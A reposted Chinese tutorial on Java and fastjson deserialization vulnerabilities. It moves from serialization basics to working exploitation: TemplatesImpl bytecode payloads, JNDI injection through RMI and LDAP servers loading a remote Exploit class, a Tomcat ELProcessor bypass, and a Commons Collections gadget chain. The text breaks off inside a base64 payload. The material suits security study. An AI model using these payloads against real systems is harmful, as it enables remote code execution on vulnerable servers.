转载

从零开始学习fastjson反序列化

fastjson使用简介

fastjson项目地址： https://github.com/alibaba/fastjson

用来实现Java POJO对象与JSON字符串的相互转换，比如：

User user = new User();
user.setUserName("李四");
user.setAge(24);   
String userJson = JSON.toJSONString(user);

输出结果：

{"age":24,"userName":"李四"}

以上将对象转换为JSON字符串的操作为序列化，将JSON字符串实例化成Java POJO对象的操作即称为反序列化。

Java反序列化机制

JDK提供了API可以将Java对象转换为字节序列保存在磁盘或网络传输，接收方可以把字节序列再恢复为Java对象。

Serializable接口

定义User类实现Serializable接口

public class User implements Serializable {
private static final long serialVersionUID = 1L;
private String name;
    private String sex;
    public String getName() {
        return name;
    }
    public String getSex() {
        return sex;
    }
    public void setName(String name) {
        this.name = name;
    }
    public void setSex(String sex) {
        this.sex = sex;
    }

    private void readObject(ObjectInputStream s) throws ClassNotFoundException, IOException {
          System.out.println("User readObject");
         s.defaultReadObject();
    }

    private void writeObject(ObjectOutputStream s)throws java.io.IOException{
          System.out.println("User writeObject");
          s.defaultWriteObject();
    }

    private Object readResolve() {
          System.out.println("User readResolve");
         return this;
    }
}

Serializable接口没有任何需要实现的方法，它仅仅是个标识。一个类的对象需要被序列化，必须实现Serializable接口，如果不实现会抛出异常java.io.NotSerializableException。

也可以实现Externalizable接口，Externalizable接口继承自Serializable接口，并且抽象方法writeExternal和readExternal分别对应Serializable接口约定的writeObject和readObject方法。

public interface Externalizable extends java.io.Serializable {
    /**
     * by calling the methods of DataOutput for its primitive values or
     * calling the writeObject method of ObjectOutput for objects, strings, and arrays.
     */
    void writeExternal(ObjectOutput out) throws IOException;

    /**
     * The object implements the readExternal method to restore its
     * contents by calling the methods of DataInput for primitive
     * types and readObject for objects, strings and arrays.  The
     * readExternal method must read the values in the same sequence
     * and with the same types as were written by writeExternal.
     */
    void readExternal(ObjectInput in) throws IOException, ClassNotFoundException;
}

ObjectInputStream和ObjectOutputStream

使用工具类 ObjectInputStream 和ObjectOutputStream 两个IO类

User user = new User();
user.setName("李四");
user.setSex("M");
ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("User.txt")));
oo.writeObject(user);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("User.txt")));
User user1 = (User) ois.readObject();
System.out.println(user1.getName() + ":" + user1.getSex());

序列化需要调用ObjectOutputStream的writeObject方法，反序列化需要调用ObjectInputStream的readObject方法。

输出结果

User writeObject
User readObject
User readResolve
李四:M

从结果来看比较神奇的是writeObject、readObject和readResolve声明为私有却被调用了，这是一种约定。

如果目标类中没有定义私有的writeObject或readObject方法，那么序列化和反序列化的时候将调用默认的方法来根据目标类中的属性（不包含transient修饰的属性以及static变量）来进行序列化和反序列化。

如果目标类中定义了私有的writeObject或readObject方法，那么序列化和反序列化的时候将通过反射调用目标类指定的writeObject或readObject方法来实现，比如将static变量也加入到序列化中。

至于readResolve同样也是通过反射调用的。从内存中反序列化地”组装”一个新对象时，就会自动调用这个 readResolve方法来返回指定好的对象。从上面结果可以看到它是在readObject之后调用的，因此readResolve可以最终修改反序列化得到的对象。此种设计通常用来保证单例规则，防止序列化导致生成第二个对象的问题。如：

public final class MySingleton implements Serializable{
    private MySingleton() { }
    private static final MySingleton INSTANCE = new MySingleton();
    public static MySingleton getInstance() { return INSTANCE; }
    private Object readResolve() throws ObjectStreamException {
       // instead of the object we're on,
       // return the class variable INSTANCE
      return INSTANCE;
   }
}

fastjson反序列化机制

Case 1

标准POJO类定义如下，有userName和age两个属性。

public class User {
         private int age;
         private String userName;
public User() {
             System.out.println("User construct");
}
         public String getUserName() {
                  System.out.println("getUserName");
                  return userName;
         }
         public void setUserName(String userName) {
                  System.out.println("setUserName:" + userName);
                  this.userName = userName;
         }
         public int getAge() {
                  System.out.println("getAge");
                  return age;
         }
         public void setAge(int age) {
                  System.out.println("setAge:" + age);
                  this.age = age;
         }
}

执行反序列化

String jsonstr = "{/"age/":24,/"userName/":/"李四/"}";
try {
         JSON.parseObject(jsonstr, User.class);
}catch (Exception e) {
         System.out.println(e.getMessage());
}

输出结果：

User construct
setAge:24
setUserName:李四

以上结果证明，fastjson在反序列化时会调用setter方法。

Case 2

public class User {
         public int age;
         public String userName;
         public User() {
                  System.out.println("User construct");
         }
}

执行反序列化

String jsonstr = "{/"age/":24,/"userName/":/"李四/"}";
try {
         User user = JSON.parseObject(jsonstr, User.class);
         System.out.println("age:" + user.age);
         System.out.println("userName:" + user.userName);
}catch (Exception e) {
         System.out.println(e.getMessage());
}

输出结果：

User construct
age:24
userName:李四

对于没有setter的可见Filed，fastjson会正确赋值。

Case 3

将Field userName改为私有，不提供setter

public class User {
         public int age;
         private String userName;
         public User() {
                  System.out.println("User construct");
         }
         public String getUserName() {
                  return userName;
         }
}

执行反序列化

String jsonstr = "{/"age/":24,/"userName/":/"李四/"}";
try {
         User user = JSON.parseObject(jsonstr, User.class);
         System.out.println("age:" + user.age);
         System.out.println("userName:" + user.getUserName());
}catch (Exception e) {
         System.out.println(e.getMessage());
}

输出结果：

User construct
age:24
userName:null

以上说明对于不可见Field且未提供setter方法，fastjson默认不会赋值。

将反序列化代码修改为如下：

String jsonstr = "{/"age/":24,/"userName/":/"李四/"}";
try {
         User user = JSON.parseObject(jsonstr, User.class, Feature.SupportNonPublicField);
         System.out.println("age:" + user.age);
         System.out.println("userName:" + user.getUserName());
}catch (Exception e) {
         System.out.println(e.getMessage());
}

输出结果：

User construct
age:24
userName:李四

对于未提供setter的私有Field，fastjson在反序列化时需要显式提供参数

Feature.SupportNonPublicField才会正确赋值。

漏洞原理

fastjson支持使用@type指定反序列化的目标类，如下演示：

public class User {
         private int age;
         private String userName;
         public User() {
                  System.out.println("User construct");
         }
         public String getUserName() {
                  System.out.println("getUserName");
                  return userName;
         }
         public void setUserName(String userName) {
                  System.out.println("setUserName:" + userName);
                  this.userName = userName;
         }
         public int getAge() {
                  System.out.println("getAge");
                  return age;
         }
         public void setAge(int age) {
                  System.out.println("setAge:" + age);
                  this.age = age;
         }
}

执行反序列化

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String jsonstr = "{/"@type/":/"test_fastjson.User/", /"age/":24,/"userName/":/"李四/"}";
try {
          JSON.parseObject(jsonstr);
}catch (Exception e) {
         System.out.println(e.getMessage());
}

输出结果：

User construct
setAge:24
setUserName:李四
getAge
getUserName

JSON字符串@type的值test_fastjson.User指定了要将此JSON字符串实例化为User对象，在此过程中fastjson不仅调用了setter也调用了getter。

假设代码存在Evil类：

public class Evil {
static {
        System.err.println("Pwned");
        try {
                String[] cmd = {"calc"};
                java.lang.Runtime.getRuntime().exec(cmd).waitFor();
        } catch ( Exception e ) {
                e.printStackTrace();
        }
}
}

执行反序列化

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String jsonstr = "{/"@type/":/"test_fastjson.Evil/", /"age/":24,/"userName/":/"李四/"}";
try {
 JSON.parseObject(jsonstr);
}catch (Exception e) {
System.out.println(e.getMessage());
}

输出结果：

Pwned

从零开始学习fastjson反序列化

漏洞利用

正常代码中很难找到像Evil这种代码，攻击者要想办法通过现有的POJO类让JVM加载构造的恶意类，整个过程有点类似二进制攻击中的ROP技巧：先绕过fastjson的防御产生反序列化攻击，再通过中间的POJO类完成攻击链，这些POJO类即被称为Gadget。

下文先假定fastjson的版本和使用方式已存在反序列化漏洞，先来分析一下常见的Gadget。

Gadgets种类

目标类本身又存在反序列化逻辑

该种类以 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 为例，详细的TemplatesImpl分析请参考

https://www.cnblogs.com/tr1ple/p/12201553.html?utm_source=tuicool

TemplatesImpl类本身存在代码逻辑，会将成员变量_bytecodes的数据作为类的字节码进行反序列化。

利用fastjson反序列化后会调用属性outputProperties的getter，完成如下调用链：

TemplatesImpl.getOutputProperties()
   TemplatesImpl.newTransformer()
      TemplatesImpl.getTransletInstance()
         TemplatesImpl.defineTransletClasses()
            ClassLoader.defineClass()
               Class.newInstance()
                  ...
                     MaliciousClass.<clinit>()

并且该MaliciousClass必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类。

定义MaliciousClass如下

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Evil extends AbstractTranslet{
static {
            System.err.println("Pwned");
            try {
                String[] cmd = {"calc"};
                java.lang.Runtime.getRuntime().exec(cmd).waitFor();
            } catch ( Exception e ) {
                e.printStackTrace();
            }
         }

         @Override
         public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
                  // TODO Auto-generated method stub
         }

         @Override
         public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
                  // TODO Auto-generated method stub
         }
}

编译生成Evil.class，将字节码读出并用base64加密，作为_bytecodes。构造如下JSON字符串。

{
  "@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes" : ["yv66vgAAADQAPQoADQAcCQAdAB4IAB8KACAAIQcAIggAIwoAJAAlCgAkACYKACcAKAcAKQoACgAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwApAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwADgAPBwAuDAAvADABAAVQd25lZAcAMQwAMgAzAQAQamF2YS9sYW5nL1N0cmluZwEABGNhbGMHADQMADUANgwANwA4BwA5DAA6ADsBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAA8AA8BABJ0ZXN0X2Zhc3Rqc29uL0V2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA2VycgEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEAB3dhaXRGb3IBAAMoKUkBAA9wcmludFN0YWNrVHJhY2UAIQAMAA0AAAAAAAQAAQAOAA8AAQAQAAAAHQABAAEAAAAFKrcAAbEAAAABABEAAAAGAAEAAAAJAAEAEgATAAIAEAAAABkAAAADAAAAAbEAAAABABEAAAAGAAEAAAAXABQAAAAEAAEAFQABABIAFgACABAAAAAZAAAABAAAAAGxAAAAAQARAAAABgABAAAAHAAUAAAABAABABUACAAXAA8AAQAQAAAAawAEAAEAAAAmsgACEgO2AAQEvQAFWQMSBlNLuAAHKrYACLYACVenAAhLKrYAC7EAAQAIAB0AIAAKAAIAEQAAAB4ABwAAAAsACAANABIADgAdABEAIAAPACEAEAAlABIAGAAAAAcAAmAHABkEAAEAGgAAAAIAGw"],
  "_name" : "a",
  "_tfactory" : {},
  "outputProperties" : {}
}

以fastjson 1.2.24为例，执行反序列化

try {
         JSON.parseObject(jsonstr, Object.class, Feature.SupportNonPublicField);
}catch (Exception e) {
         System.out.println(e.getMessage());
}

输出结果：

Pwned

set property error, outputProperties

从零开始学习fastjson反序列化

_bytecodes是私有属性，_name也是私有域，所以在parseObject的时候需要设置Feature.SupportNonPublicField，这样_bytecodes字段才会被反序列化，所以此gadget的利用条件比较苛刻，思路值得借鉴。

_tfactory这个字段在TemplatesImpl既没有get方法也没有set方法，这没关系，我们设置_tfactory为{ },fastjson会调用其无参构造函数得_tfactory对象，这样就解决了某些版本中在defineTransletClasses()用到会引用_tfactory属性导致异常退出。

JNDI注入

反序列化Gadget主流都是使用JNDI，现阶段都是在利用根据JNDI特征自动化挖掘Gadget。JNDI采取什么样的方式注入以及能否注入成功和JDK的版本有关，因为JDK为了阻止反序列化攻击也实施了相应的缓解措施。

简单来说，JNDI (Java Naming and Directory Interface) 是一组应用程序接口，它为开发人员查找和访问各种资源提供了统一的通用接口，可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机，也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象，RMI注册的服务可以通过JNDI接口来访问和调用。

JNDI支持多种命名和目录提供程序（Naming and Directory Providers），RMI注册表服务提供程序（RMI Registry Service Provider）允许通过JNDI应用接口对RMI中注册的远程对象进行访问操作。将RMI服务绑定到JNDI的一个好处是更加透明、统一和松散耦合，RMI客户端直接通过URL来定位一个远程对象，而且该RMI服务可以和包含人员，组织和网络资源等信息的企业目录链接在一起。

在JNDI服务中，RMI服务端除了直接绑定远程对象之外，还可以通过References类来绑定一个外部的远程对象（当前名称目录系统之外的对象）。绑定了Reference之后，服务端会先通过Referenceable.getReference()获取绑定对象的引用，并且在目录中保存。当客户端在lookup()查找这个远程对象时，客户端会获取相应的object factory，最终通过factory类将reference转换为具体的对象实例。

下文以 com.sun.rowset.JdbcRowSetImpl 为例说明。根据FastJson反序列化漏洞原理，FastJson将JSON字符串反序列化到指定的Java类时，会调用目标类的getter、setter等方法。JdbcRowSetImpl类的setAutoCommit()会调用connect()函数，connect()函数如下：

private Connection connect() throws SQLException {
        if(this.conn != null) {
            return this.conn;
        } else if(this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("")?var2.getConnection(this.getUsername(), this.getPassword()):var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null?DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()):null;
        }
    }

connect()会调用InitialContext.lookup(dataSourceName)，这里的参数dataSourceName是在setter方法setDataSourceName(String name)中设置的。所以在FastJson反序列化漏洞过程中，我们可以控制dataSourceName的值，也就是说满足了JNDI注入利用的条件。

JNDI注入利用流程如下：

1、目标代码中调用了InitialContext.lookup(URI)，且URI为用户可控；
2、攻击者控制URI参数为恶意的RMI服务地址，如：rmi://hacker_rmi_server//name；
3、攻击者RMI服务器向目标返回一个Reference对象，Reference对象中指定某个精心构造的Factory类；
4、目标在进行lookup()操作时，会动态加载并实例化Factory类，接着调用factory.getObjectInstance()获取外部远程对象实例；
5、攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码，达到RCE的效果；

在这里，攻击目标扮演的相当于是JNDI客户端的角色，攻击者通过搭建一个恶意的RMI服务端来实施攻击。

可使用 https://github.com/mbechler/marshalsec快速开启RMI/LDAP服务。

编译恶意类

public class Exploit {
static {
        System.err.println("Pwned");
        try {
                String[] cmd = {"calc"};
                java.lang.Runtime.getRuntime().exec(cmd).waitFor();
        } catch ( Exception e ) {
                e.printStackTrace();
        }
}
}

得到Exploit.class，部署在HTTP服务上，通过 http://ip:port/Exploit.class可访问下载。

下文代码都以fastjson1.2.24版本为例。**可将恶意类部署有RMI和LDAP两种方式。

1、RMI

JDK 6u132, JDK 7u122, JDK 8u113之前可用。

攻击者通过RMI服务返回一个JNDI Naming Reference，受害者解码Reference时会去我们指定的Codebase远程地址加载Factory类，但是原理上并非使用RMI Class Loading机制的，因此不受 java.rmi.server.useCodebaseOnly 系统属性的限制，相对来说更加通用。

但是在JDK 6u132, JDK 7u122, JDK 8u113 中Java提升了JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false，即默认不允许从远程的Codebase加载Reference工厂类。如果需要开启 RMI Registry 或者 COS Naming Service Provider的远程类加载功能，需要将前面说的两个属性值设置为true。

启动RMI服务：

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.50.131:8000/#Exploit 9999

#后面是类名，最后参数是RMI服务监听端口

执行反序列化

String payload = "{/"@type/":/"com.sun.rowset.JdbcRowSetImpl/",/"dataSourceName/":/"rmi://192.168.50.131:9999/Exploit/",/"autoCommit/":true}";
try {
System.out.println(payload);
JSON.parseObject(payload);
} catch (Exception e) {
System.out.println(e.getMessage());
}

输出结果同上，弹出计算器。

2、LDAP

JDK 11.0.1、8u191、7u201、6u211之前可用。

除了RMI服务之外，JNDI还可以对接LDAP服务，LDAP也能返回JNDI Reference对象，利用过程与上面RMI Reference基本一致，只是lookup()中的URL为一个LDAP地址：ldap://xxx/xxx，由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。并且LDAP服务的Reference远程加载Factory类不受上一点中 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制，所以适用范围更广。

不过在2018年10月，Java最终也修复了这个利用点，对LDAP Reference远程工厂类的加载增加了限制，在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false。

启动LDAP服务：

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.50.131:8000/#Exploit 9999

执行反序列化

String payload = "{/"@type/":/"com.sun.rowset.JdbcRowSetImpl/",/"dataSourceName/":/"ldap://192.168.50.131:9999/Exploit/",/"autoCommit/":true}";
try {
System.out.println(payload);
JSON.parseObject(payload);
} catch (Exception e) {
System.out.println(e.getMessage());
}

输出结果同上，弹出计算器。

更高版本JDK

更高版本的JDK做了安全限制，想执行任意代码没有那么简单了。

源码参考 https://github.com/kxcode/JNDI-Exploit-Bypass-Demo

利用本地Class作为Reference Factory

在高版本中（如：JDK8u191以上版本）虽然不能从远程加载恶意的Factory，但是我们依然可以在返回的Reference中指定Factory Class，这个工厂类必须在受害目标本地的CLASSPATH中。工厂类必须实现 javax.naming.spi.ObjectFactory 接口，并且至少存在一个 getObjectInstance() 方法。org.apache.naming.factory.BeanFactory 刚好满足条件并且存在被利用的可能。org.apache.naming.factory.BeanFactory 存在于Tomcat依赖包中，所以使用也是非常广泛。

org.apache.naming.factory.BeanFactory 在 getObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class，并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值，全都来自于Reference对象，均是攻击者可控的。

这个情况下，目标Bean Class必须有一个无参构造方法，有public的setter方法且参数为一个String类型。事实上，这些setter不一定需要是set..开头的方法，根据org.apache.naming.factory.BeanFactory中的逻辑，我们可以把某个方法强制指定为setter。

这里，我们找到了javax.el.ELProcessor可以作为目标Class。启动RMI Server的利用代码如下：

public static void lanuchRMIregister(Integer rmi_port) throws Exception {
         System.out.println("Creating RMI Registry, RMI Port:"+rmi_port);
         Registry registry = LocateRegistry.createRegistry(rmi_port);
         /** Payload2: Exploit with JNDI Reference with local factory Class **/
         ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
         //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
         ref.add(new StringRefAddr("forceString", "KINGX=eval"));
         //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
         ref.add(new StringRefAddr("KINGX", "/"/".getClass().forName(/"javax.script.ScriptEngineManager/").newInstance().getEngineByName(/"JavaScript/").eval(/"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()/")"));
         /** Payload2 end **/
         ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
         registry.bind("Exploit", referenceWrapper);
         System.out.println(referenceWrapper.getReference());
}

“forceString”可以给属性强制指定一个setter方法，这里我们将属性”KINGX”的setter方法设置为 ELProcessor.eval() 方法。ResourceRef 中加上元素”KINGX”，赋值为需要执行的恶意代码。最后调用setter就变成了执行如下代码：

ELProcessor.eval(/"/".getClass().forName("javax.script.ScriptEngineManager/").newInstance().getEngineByName(/"JavaScript/").eval(/"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()/"))

ELProcessor.eval()会对EL表达式进行求值，最终达到命令执行的效果。

这种绕过方式需要目标环境中存在Tomcat相关依赖，当然其他Java Server可能也存在可被利用的Factory类，可以进一步研究。

<dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>tomcat-catalina</artifactId>
        <version>9.0.20</version>
</dependency>
<dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>tomcat-jasper</artifactId>
        <version>9.0.20</version>
</dependency>

利用LDAP返回序列化数据，触发本地Gadget

Java对象在LDAP目录中也有多种存储形式：

Java序列化
JNDI Reference
Marshalled对象
Remote Location (已弃用)

LDAP可以为存储的Java对象指定多种属性：

javaCodeBase
objectClass
javaFactory
javaSerializedData
…

javaCodebase 属性可以指定远程的URL，这样黑客可以控制反序列化中的class，通过JNDI Reference的方式进行利用，即上文描述的方式，高版本JDK已经默认不允许。LDAP Server除了使用JNDI Reference进行利用之外，还支持直接返回一个对象的序列化数据，客户端反序列化时实现RCE。

下面以Apache Commons Collections包为例分析，这就要求执行环境中有安装部署此包。

Apache Commons Collections中提供了一个Transformer类，功能就是将一个对象转换为另外一个对象。漏洞利用时主要用到如下3个类：

1、InvokeTransformer

Transformer implementation that creates a new object instance by reflection.（通过反射，返回一个对象）

2、ChainedTransformer

Transformer implementation that chains the specified transformers together.（把transformer连接成一条链，对一个对象依次通过链条内的每一个transformer进行转换）

3、ConstantTransformer

Transformer implementation that returns the same constant each time.（把一个对象转化为常量，并返回）

InvokeTransformer

InvokeTransformer可通过反射的方式进行函数调用:

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")});
invokerTransformer.transform(Runtime.getRuntime());

那么接下来要寻找办法来调用transform。

ConstantTransformer

ConstantTransformer的transform方法直接返回构造方法的参数。如：

new ConstantTransformer(Runtime.class)

ChainedTransformer

ChainedTransformer的transform方法会遍历Transformer数组中元素并执行其各自的transform方法：

public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
}

那么现在只需要执行chainedTransformer的transform方法就可以弹出计算器了：

Transformer[] transformers = new Transformer[]{
          new ConstantTransformer(Runtime.class),
          new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
          new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
          new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);

需要借助另外的类TransformedMap，该类设计用来作Map的变换。

Map inMap = new HashMap();
inMap.put("key", "value");
Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);

decorate函数说明及源码

/**
 * Factory method to create a transforming map.
 * <p>
 * If there are any elements already in the map being decorated, they
 * are NOT transformed.
 * Constrast this with {@link #decorateTransform}.
 * 
 * @param map  the map to decorate, must not be null
 * @param keyTransformer  the transformer to use for key conversion, null means no transformation
 * @param valueTransformer  the transformer to use for value conversion, null means no transformation
 * @throws IllegalArgumentException if map is null
 */
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
         return new TransformedMap(map, keyTransformer, valueTransformer);
}

TransformedMap的entry value如果被修改就会执行Transformer的transform方法。而刚好有另外的类sun.reflect.annotation.AnnotationInvocationHandler，该类是java运行库中处理注解的类，包含一个Map对象属性，其readObject方法有自动修改自身Map属性的操作，即反序列化此对象会修改Map对象属性，这样就整个利用链就衔接上了。

生成序列化字节码的代码：

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class CommonsCollectionPayload {
    public static void main(String[] args) throws Exception {
        /*
         * Runtime.getRuntime().exec("calc");
         */
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        Map inMap = new HashMap();
        inMap.put("key", "value");
        Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cls.getDeclaredConstructor(new Class[] { Class.class, Map.class });
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(new Object[] { Retention.class, outMap });
        FileOutputStream fos = new FileOutputStream("payload.txt");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(instance);
        oos.flush();
        oos.close();
    }
}

接下来构造LDAP服务，把payload.txt中的序列化字节码（经过Base64转码）放置上去：

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
         URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
         System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
         e.addAttribute("javaClassName", "foo");
         String cbstring = this.codebase.toString();
         int refPos = cbstring.indexOf('#');
         if ( refPos > 0 ) {
                  cbstring = cbstring.substring(0, refPos);
         }

         /** Payload2: Return Serialized Gadget **/
         try {
                  e.addAttribute("javaSerializedData",Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAE